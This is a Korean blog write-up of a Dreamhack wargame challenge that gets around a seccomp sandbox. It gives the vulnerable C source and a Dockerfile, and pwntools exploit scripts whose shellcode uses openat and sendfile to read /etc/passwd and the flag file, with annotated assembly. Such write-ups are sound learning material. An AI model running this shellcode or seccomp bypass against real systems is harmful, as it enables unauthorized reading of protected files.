이제 풀이를 잘 공개하지 않으려 했는데,
이건 커리큘럼에 있는 문제이고 shellcraft 설명이 (shellcode 설명 때부터) 미흡한 부분이 있어서 그냥 블로그에 글을 쓰고자 한다.
system hacking advanced 에 있는 문제이다.
분석
// Name: bypass_syscall.c
// Compile: gcc -o bypass_syscall bypass_syscall.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
이번 문제는 seccomp를 실습하기 위한 문제이다.
shellcode에 mmap으로(mmap에 대해선 아직 잘 모름) 권한을 주고 쉘코드를 입력받아서 실행시킨다.
mmap설명
#include <unistd.h>
#include <sys/mman.h>
void* mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset);
mmap 함수는 start, length, prot, flags, fd, offset으로 인자가 구성된다.
리턴값은 매핑이 시작하는 실제 메모리 주소.
start는 요청한 물리 공간을 매핑하고자 하는 주소(보통 0사용)
length는 매핑하고자 하는 주소공간의 크기 -> page단위에 맞춰야한다. 페이지 단위는 하위 12bit를 제거(000)했던 걸로 기억한다.
prot는 메모리에 적용시킬 보호정책이다. rwx 처럼 7.. 등으로 줄 수 있고 쓰레드에 대해서도 설정할 수 있다.
fd는 디바이스 파일의 파일 디스크립터라는데 뭔지는 잘 모르겠다.
offset은 start 주소로부터의 offset이며 page 단위로 지정되어야 한다.
start로부터 offset만큼 떨어진 주소에 length만큼의 사이즈를 prot권한을 준다.
포너블에서 NX가 걸려있음에도 해당 주소에 실행권한을 주어 쉘코드와 주로 연계된다.
코드를 봐도 알 수 있겠지만 라이브러리를 사용하여 ALLOW리스트를 기반으로 open, execve, execveat, write 함수를 블록시켰다.
seccomp-tools를 사용하면 sandbox 이후를 해서 읽나보다.
64bit 환경의 systemcall 만 사용하고자 0x40000000을 검사하는 부분이 있고, 다른 함수들이 이제 검사된다.
open이랑 write를 사용할 수 없다 해도 openat, sendfile systemcall이 사용 가능하다고 배운다.
파일 입출력으로 flag를 읽을 것이다.
openat 함수
#include<tcntl.h>
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
openat함수는 인자가 위와 같이 구성된다. mode는 선택사항이다 함수가 오버로딩 되어있는듯.
dirfd는 pathname이 상대 경로인 경우에 dirfd를 기준으로 상대 경로를 찾는다.
pathname은 경로를 나타낸다.
flags는
다음과 같이 어떻게 열건지 말한다. 디폴트가 0인듯 하다. (pwntools에서)
mode는 새 파일 생성시 적용할 파일 모드 비트를 나타낸다. (여기선 사용할 필요가 없었다.)
https://wariua.github.io/man-pages-ko/openat%282%29/
sendfile 함수
#include <sys/sendfile.h>
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
sendfile은 한 파일 디스크립터와 다른 파일 디스크립터간에 데이터를 복사한다.
out_fd는 쓰기 가능해야 한다. 쓰일 파일 디스크립터. (여기서는 stdout. 1이다.)
in_fd는 읽기 가능해야 한다. 읽을 파일 디스크립터.
offset은 위 mmap의 offset과 비슷하게 파일의 어디서부터 데이터를 읽을지를 말한다.
count는 파일 디스크립터간에 복사할 데이터의 수이다.
in_fd에서 out_fd로 offset부터 count byte만큼 쓴다. 라고 이해된다.
Exploit과 shellcraft분석
문제를 다운로드 하면 Dockerfile을 제공받는다.
아무래도 서버 시스템의 정보를 주는 파일인 듯 하다. 이제 조금 도커에 익숙해져서 괜찮다. (docker 내에서 docker 설치는 안되더라)
FROM ubuntu:18.04
ENV user bypass_syscall
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 10 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
CTF문제 도커로 구성하는거랑 똑같은데(해보니까 이제야 뭔가 알겠다), 18.04를 설치하고 bypass_syscall 이라고 불리는 유저를 만들 것이다.
(adduser)
플래그는 /home/bypass_syscall/flag 에 있다.
그러면 쉘코드로 /home/bypass_syscall/flag를 열어서 출력하는 코드를 만들면 된다.
어셈블리를 분석하기 전에
64bit에서 인자를 rdi->rsi->rdx->rcx->r8->r9 순으로 저장한다고 배웠는데
syscall에서는 아닌가보다. rax는 우선 syscall 함수의 종류를 나타내고, rdi->rsi->rdx->r10->r8->r9 이다.
# Name: bypass_seccomp.py
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_seccomp")
shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
이건 예제에서 사용한 /etc/passwd를 읽는 쉘코드이다.
그냥 여기에 /home/bypass_syscall/flag만 넣어도 될거같지만 자세히 뜯어보자
asm()함수는 어셈블리를 입력 가능한 문자열(?) 쉘코드로 변경하는 것이다.
그러면 그 전을 print하면 어셈블리를 볼 수 있다.
context.arch = 'x86_64' =>안하면 i386이 기본이다.
위 코드를 출력하면 아래처럼 나온다.
/* openat(fd=0, file='/home/bypass_syscall/flag', oflag=0) */
/* push '/home/bypass_syscall/flag\x00' */
push 0x67
mov rax, 0x616c662f6c6c6163
push rax
mov rax, 0x7379735f73736170
push rax
mov rax, 0x79622f656d6f682f
push rax
mov rsi, rsp
xor edi, edi /* 0 */
xor edx, edx /* 0 */
/* call openat() */
xor eax, eax
mov ax, SYS_openat /* 0x101 */
syscall
mov r10, 0xffff
/* sendfile(out_fd=1, in_fd='rax', offset=0, count=0) */
/* 0 */
push 1
pop rdi
xor edx, edx /* 0 */
mov rsi, rax
/* call sendfile() */
push SYS_sendfile /* 0x28 */
pop rax
syscall
/* exit(status=0) */
xor edi, edi /* 0 */
/* call exit() */
push SYS_exit /* 0x3c */
pop rax
syscall
주석처리도 잘 되어있다. mov r10, 0xffff 에서 안 이쁘게 출력되길래 탭이랑 개행을 넣어주었다.
노란색 부분이 openat고 초록색은 sendfile과 exit이다. 박스에 없는 부분은 우리가 수동으로 넣은 instruction이다.
위부터 설명하자면 우선 push를 통해 rsp(스택)에 경로에 해당하는 문자열을 넣는다. 주석에 보다시피 flag를 넣지 않았음에도 디폴트로 0으로 되어있다.
rsi에 rsp를 주어 경로를 두 번째 인자로 받고
edi끼리 xor하여 dirfd를 0으로 한다.
edx는 읽기 전용으로 열 것이라서 0이면 된다 O_RDNLY
mov r10, 0xffff를 한 이유는 count를 위해서다.
sendfile에서 우리가 count만큼의 flag를 읽어야하는데, 기본으로 우리가 넣은 파이썬에서는 0으로 되어있다.
그래서 mov r10, 0xffff를 수동으로 하고 replace를 통해서 xor r10, r10부분을 지운 것이다.
in_fd로 rax를 준 것은 위에서 openat의 반환으로 파일 디스크립터를 rax에 받기 때문.
그러면 이런 생각이 든다.
그냥 count 인자도 0xffff로 주면 되는거 아닌가..?
from pwn import *
p = remote('host3.dreamhack.games', 10438)
context.arch = 'x86_64'
shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 0xffff)
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
그렇게 해서 성공